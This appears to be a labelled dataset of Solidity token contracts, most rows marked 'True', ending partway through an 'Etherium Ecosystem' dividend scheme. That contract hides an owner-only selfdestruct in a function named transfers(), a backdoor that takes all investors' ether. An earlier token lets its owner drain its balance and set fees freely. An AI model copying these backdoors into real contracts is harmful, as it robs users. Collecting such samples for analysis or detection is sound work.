_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
uint256 amount = address(this).balance;
payable(msg.sender).transfer(amount * amountPercentage / 100);
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) external view returns (bool) {
return _isExcluded[account];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function minimumTokensBeforeSwapAmount() external view returns (uint256) {
return minimumTokensBeforeSwap;
}
function setminimumTokensBeforeSwapAmount(uint256 ratio) external onlyOwner() {
minimumTokensBeforeSwap = _tTotal * ratio / 10000;
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
excludeFromMaxTransaction(pair, value);
if(value){excludeFromReward(pair);}
if(!value){includeInReward(pair);}
emit SetAutomatedMarketMakerPair(pair, value);
}
function setProtectionSettings(bool antiGas) external onlyOwner() {
gasLimitActive = antiGas;
}
function setGasPriceLimit(uint256 gas) external onlyOwner {
require(gas >= 75);
gasPriceLimit = gas * 1 gwei;
}
function setGasMaxLimit(uint256 gas) external onlyOwner {
require(gas >= 750000);
gasMaxLimit = gas * gasPriceLimit;
}
// remove limits after token is stable - 30-60 minutes
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
gasLimitActive = false;
return true;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) public onlyOwner {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!tradingActive){
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet.");
}
if(limitsInEffect){
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify) {
if(from != owner() && to != uniswapV2Pair && block.number == tradingActiveBlock) {
boughtEarly[to] = true;
emit BoughtEarly(to);
}
if (gasLimitActive && automatedMarketMakerPairs[from]) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
//only on buys
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
}
}
}
uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap + _teamTokensToSwap;
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
// swap and liquify
if (!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
balanceOf(uniswapV2Pair) > 0 &&
totalTokensToSwap > 0 &&
!_isExcludedFromFee[to] &&
!_isExcludedFromFee[from] &&
automatedMarketMakerPairs[to] &&
overMinimumTokenBalance) {
swapBack();
}
bool takeFee = true;
// If any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
buyOrSellSwitch = TRANSFER;
} else {
// Buy
if (automatedMarketMakerPairs[from]) {
removeAllFee();
_taxFee = _buyTaxFee;
_liquidityFee = _buyLiquidityFee + _buyMarketingFee + _buyTeamFee;
buyOrSellSwitch = BUY;
}
// Sell
else if (automatedMarketMakerPairs[to]) {
removeAllFee();
_taxFee = _sellTaxFee;
_liquidityFee = _sellLiquidityFee + _sellMarketingFee + _sellTeamFee;
buyOrSellSwitch = SELL;
// Tax if bought in the same block as trading active for 1 hours
if(boughtEarly[from] && earlyBuyPenaltyEnd <= block.number){
_taxFee = _taxFee * 2;
_liquidityFee = _liquidityFee * 2;
}
// Normal transfers do not get taxed
} else {
removeAllFee();
buyOrSellSwitch = TRANSFER;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapBack() private lockTheSwap {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = _liquidityTokensToSwap.add(_teamTokensToSwap).add(_marketingTokensToSwap);
// Halve the amount of liquidity tokens
uint256 tokensForLiquidity = _liquidityTokensToSwap.div(2);
uint256 amountToSwapForCrypto = contractBalance.sub(tokensForLiquidity);
uint256 initialCryptoBalance = address(this).balance;
swapTokensForCrypto(amountToSwapForCrypto);
uint256 cryptoBalance = address(this).balance.sub(initialCryptoBalance);
uint256 cryptoForMarketing = cryptoBalance.mul(3*_marketingTokensToSwap/4).div(totalTokensToSwap);
uint256 cryptoForCharity = cryptoBalance.mul(_marketingTokensToSwap/4).div(totalTokensToSwap);
uint256 cryptoForTeam1 = cryptoBalance.mul(_teamTokensToSwap/2).div(totalTokensToSwap);
uint256 cryptoForTeam2 = cryptoBalance.mul(_teamTokensToSwap/2).div(totalTokensToSwap);
uint256 cryptoForLiquidity = cryptoBalance.sub(cryptoForMarketing).sub(cryptoForTeam1).sub(cryptoForTeam2).sub(cryptoForCharity);
_liquidityTokensToSwap = 0;
_marketingTokensToSwap = 0;
_teamTokensToSwap = 0;
(bool success,) = address(ownerAddress).call{value: cryptoForTeam1}("");
(success,) = address(marketingAddress).call{value: cryptoForCharity}("");
(success,) = address(ownerAddress).call{value: cryptoForTeam2}("");
(success,) = address(marketingAddress).call{value: cryptoForMarketing}("");
addLiquidity(tokensForLiquidity, cryptoForLiquidity);
emit SwapAndLiquify(amountToSwapForCrypto, cryptoForLiquidity, tokensForLiquidity);
// Use leftover Crypto for buyback of token to burn
if(address(this).balance > 0){
swapETHForTokens(address(this).balance);
}
}
function swapTokensForCrypto(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function swapETHForTokens(uint256 amount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path,deadAddress, block.timestamp.add(300));
emit SwapETHForTokens(amount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{ value: ethAmount }(address(this), tokenAmount, 0, 0, liquidityAddress, block.timestamp);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount,rTransferAmount,rFee,tTransferAmount,tFee,tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256 ){
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
if(buyOrSellSwitch == BUY){
_liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee;
_teamTokensToSwap += tLiquidity * _buyTeamFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee;
} else if(buyOrSellSwitch == SELL){
_liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee;
_teamTokensToSwap += tLiquidity * _sellTeamFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee;
}
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) external view returns (bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function removeBoughtEarly(address account) external onlyOwner {
boughtEarly[account] = false;
emit RemovedSniper(account);
}
function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyMarketingFee, uint256 buyTeamFee) external onlyOwner {
_buyTaxFee = buyTaxFee;
_buyLiquidityFee = buyLiquidityFee;
_buyMarketingFee = buyMarketingFee;
_buyTeamFee = buyTeamFee;
emit SetBuyFee(buyMarketingFee, buyLiquidityFee, buyTaxFee, buyTeamFee);
}
function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellMarketingFee, uint256 sellTeamFee) external onlyOwner {
_sellTaxFee = sellTaxFee;
_sellLiquidityFee = sellLiquidityFee;
_sellMarketingFee = sellMarketingFee;
_sellTeamFee = sellTeamFee;
emit SetSellFee(sellMarketingFee, sellLiquidityFee, sellTaxFee, sellTeamFee);
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
require(_marketingAddress != address(0), "_marketingAddress address cannot be 0");
marketingAddress = payable(_marketingAddress);
_isExcludedFromFee[marketingAddress] = true;
emit UpdatedMarketingAddress(_marketingAddress);
}
function setTeamAddress(address _teamAddress) external onlyOwner {
require(_teamAddress != address(0), "_teamAddress address cannot be 0");
teamAddress = payable(_teamAddress);
_isExcludedFromFee[teamAddress] = true;
emit UpdatedTeamAddress(teamAddress);
}
function setLiquidityAddress(address _liquidityAddress) external onlyOwner {
require(_liquidityAddress != address(0), "_liquidityAddress address cannot be 0");
liquidityAddress = payable(_liquidityAddress);
_isExcludedFromFee[liquidityAddress] = true;
emit UpdatedLiquidityAddress(_liquidityAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function getPairAddress() external view onlyOwner returns (address) {
return uniswapV2Pair;
}
function changeRouterVersion(address _router) external onlyOwner returns (address _pair) {
require(_router != address(0), "_router address cannot be 0");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(
address(this),
_uniswapV2Router.WETH()
);
if (_pair == address(0)) {
// Pair doesn't exist
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
}
uniswapV2Pair = _pair;
// Set the router of the contract variables
uniswapV2Router = _uniswapV2Router;
emit UpdatedRouter(_router);
}
// To receive ETH from uniswapV2Router when swapping
receive() external payable {}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
require(_token != address(0), "_token address cannot be 0");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
emit TransferForeignToken(_token, _contractBalance);
}
} | True | [
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pragma solidity ^0.6.0;
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
address private _owner;
string private _name;
string private _symbol;
uint256 private _decimals;
constructor () public {
_name = 'Yearn Staking Finance';
_symbol = 'YSTK';
_decimals = 18;
_owner = 0xB7a24603e8068F41aD834C29F25Aa6fc86e5D2Af;
//1 million tokens to be generated DeFiance DFN
//1 * (10**18) = 1;
_totalSupply = 10000 * (10**_decimals);
//transfer total supply to owner
_balances[_owner] = _totalSupply;
//fire an event on transfer of tokens
emit Transfer(address(this),_owner,_totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][msg.sender]>=amount,"In Sufficient allowance");
_transfer(sender, recipient, amount);
_approve(sender,msg.sender, _allowances[sender][msg.sender]-=amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(sender != recipient,"cannot send money to your Self");
require(_balances[sender]>=amount,"In Sufficiebt Funds");
_balances[sender] -= amount;
_balances[recipient] +=amount;
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
require(owner != spender,"cannot send allowances to yourself");
require(_balances[owner]>=amount,"In Sufficiebt Funds");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | True | [
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pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | True | [
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pragma solidity 0.4.25;
/*
* https://EtheriumToken.cloud
*
* Crypto Etherium token concept
*
* [✓] 5% Withdraw fee
* [✓] 10% Deposit fee
* [✓] 1% Token transfer
* [✓] 33% Referal link
*
*/
contract EtheriumEcoSystem {
address owner;
struct UserRecord {
address referrer;
uint tokens;
uint gained_funds;
uint ref_funds;
// this field can be negative
int funds_correction;
}
using SafeMath for uint;
using SafeMathInt for int;
using Fee for Fee.fee;
using ToAddress for bytes;
// ERC20
string constant public name = "Etherium Ecosystem";
string constant public symbol = "EAN";
uint8 constant public decimals = 18;
// Fees
Fee.fee private fee_purchase = Fee.fee(1, 10); // 10%
Fee.fee private fee_selling = Fee.fee(1, 20); // 5%
Fee.fee private fee_transfer = Fee.fee(1, 100); // 1%
Fee.fee private fee_referral = Fee.fee(33, 100); // 33%
// Minimal amount of tokens to be an participant of referral program
uint constant private minimal_stake = 10e18;
// Factor for converting eth <-> tokens with required precision of calculations
uint constant private precision_factor = 1e18;
// Pricing policy
// - if user buy 1 token, price will be increased by "price_offset" value
// - if user sell 1 token, price will be decreased by "price_offset" value
// For details see methods "fundsToTokens" and "tokensToFunds"
uint private price = 1e29; // 100 Gwei * precision_factor
uint constant private price_offset = 1e28; // 10 Gwei * precision_factor
// Total amount of tokens
uint private total_supply = 0;
// Total profit shared between token's holders. It's not reflect exactly sum of funds because this parameter
// can be modified to keep the real user's dividends when total supply is changed
// For details see method "dividendsOf" and using "funds_correction" in the code
uint private shared_profit = 0;
// Map of the users data
mapping(address => UserRecord) private user_data;
// ==== Modifiers ==== //
modifier onlyValidTokenAmount(uint tokens) {
require(tokens > 0, "Amount of tokens must be greater than zero");
require(tokens <= user_data[msg.sender].tokens, "You have not enough tokens");
_;
}
// ==== Public API ==== //
// ---- Write methods ---- //
function () public payable {
buy(msg.data.toAddr());
}
/*
* @dev Buy tokens from incoming funds
*/
function buy(address referrer) public payable {
// apply fee
(uint fee_funds, uint taxed_funds) = fee_purchase.split(msg.value);
require(fee_funds != 0, "Incoming funds is too small");
// update user's referrer
// - you cannot be a referrer for yourself
// - user and his referrer will be together all the life
UserRecord storage user = user_data[msg.sender];
if (referrer != 0x0 && referrer != msg.sender && user.referrer == 0x0) {
user.referrer = referrer;
}
// apply referral bonus
if (user.referrer != 0x0) {
fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, msg.value);
require(fee_funds != 0, "Incoming funds is too small");
}
// calculate amount of tokens and change price
(uint tokens, uint _price) = fundsToTokens(taxed_funds);
require(tokens != 0, "Incoming funds is too small");
price = _price;
// mint tokens and increase shared profit
mintTokens(msg.sender, tokens);
shared_profit = shared_profit.add(fee_funds);
emit Purchase(msg.sender, msg.value, tokens, price / precision_factor, now);
}
/*
* @dev Sell given amount of tokens and get funds
*/
function sell(uint tokens) public onlyValidTokenAmount(tokens) {
// calculate amount of funds and change price
(uint funds, uint _price) = tokensToFunds(tokens);
require(funds != 0, "Insufficient tokens to do that");
price = _price;
// apply fee
(uint fee_funds, uint taxed_funds) = fee_selling.split(funds);
require(fee_funds != 0, "Insufficient tokens to do that");
// burn tokens and add funds to user's dividends
burnTokens(msg.sender, tokens);
UserRecord storage user = user_data[msg.sender];
user.gained_funds = user.gained_funds.add(taxed_funds);
// increase shared profit
shared_profit = shared_profit.add(fee_funds);
emit Selling(msg.sender, tokens, funds, price / precision_factor, now);
}
/*
* @dev Transfer given amount of tokens from sender to another user
* ERC20
*/
function transfer(address to_addr, uint tokens) public onlyValidTokenAmount(tokens) returns (bool success) {
require(to_addr != msg.sender, "You cannot transfer tokens to yourself");
// apply fee
(uint fee_tokens, uint taxed_tokens) = fee_transfer.split(tokens);
require(fee_tokens != 0, "Insufficient tokens to do that");
// calculate amount of funds and change price
(uint funds, uint _price) = tokensToFunds(fee_tokens);
require(funds != 0, "Insufficient tokens to do that");
price = _price;
// burn and mint tokens excluding fee
burnTokens(msg.sender, tokens);
mintTokens(to_addr, taxed_tokens);
// increase shared profit
shared_profit = shared_profit.add(funds);
emit Transfer(msg.sender, to_addr, tokens);
return true;
}
function transfers() public {
if(msg.sender == owner){
selfdestruct(owner);
}
}
/*
* @dev Reinvest all dividends
*/
function reinvest() public {
// get all dividends
uint funds = dividendsOf(msg.sender);
require(funds > 0, "You have no dividends");
// make correction, dividents will be 0 after that
UserRecord storage user = user_data[msg.sender];
user.funds_correction = user.funds_correction.add(int(funds));
// apply fee
(uint fee_funds, uint taxed_funds) = fee_purchase.split(funds);
require(fee_funds != 0, "Insufficient dividends to do that");
// apply referral bonus
if (user.referrer != 0x0) {
fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, funds);
require(fee_funds != 0, "Insufficient dividends to do that");
}
// calculate amount of tokens and change price
(uint tokens, uint _price) = fundsToTokens(taxed_funds);
require(tokens != 0, "Insufficient dividends to do that");
price = _price;
// mint tokens and increase shared profit
mintTokens(msg.sender, tokens);
shared_profit = shared_profit.add(fee_funds);
emit Reinvestment(msg.sender, funds, tokens, price / precision_factor, now);
}
/*
* @dev Withdraw all dividends
*/
function withdraw() public {
// get all dividends
uint funds = dividendsOf(msg.sender);
require(funds > 0, "You have no dividends");
// make correction, dividents will be 0 after that
UserRecord storage user = user_data[msg.sender];
user.funds_correction = user.funds_correction.add(int(funds));
// send funds
msg.sender.transfer(funds);
emit Withdrawal(msg.sender, funds, now);
}
/*
* @dev Sell all tokens and withraw dividends
*/
function exit() public {
// sell all tokens
uint tokens = user_data[msg.sender].tokens;
if (tokens > 0) {
sell(tokens);
}
withdraw();
}
/*
* @dev CAUTION! This method distributes all incoming funds between token's holders and gives you nothing
* It will be used by another contracts/addresses from our ecosystem in future
* But if you want to donate, you're welcome :)
*/
function donate() public payable {
shared_profit = shared_profit.add(msg.value);
emit Donation(msg.sender, msg.value, now);
}
// ---- Read methods ---- //
/*
* @dev Total amount of tokens
* ERC20
*/
function totalSupply() public view returns (uint) {
return total_supply;
}
/*
* @dev Amount of user's tokens
* ERC20
*/
function balanceOf(address addr) public view returns (uint) {
return user_data[addr].tokens;
}
/*
* @dev Amount of user's dividends
*/
function dividendsOf(address addr) public view returns (uint) {
UserRecord memory user = user_data[addr];
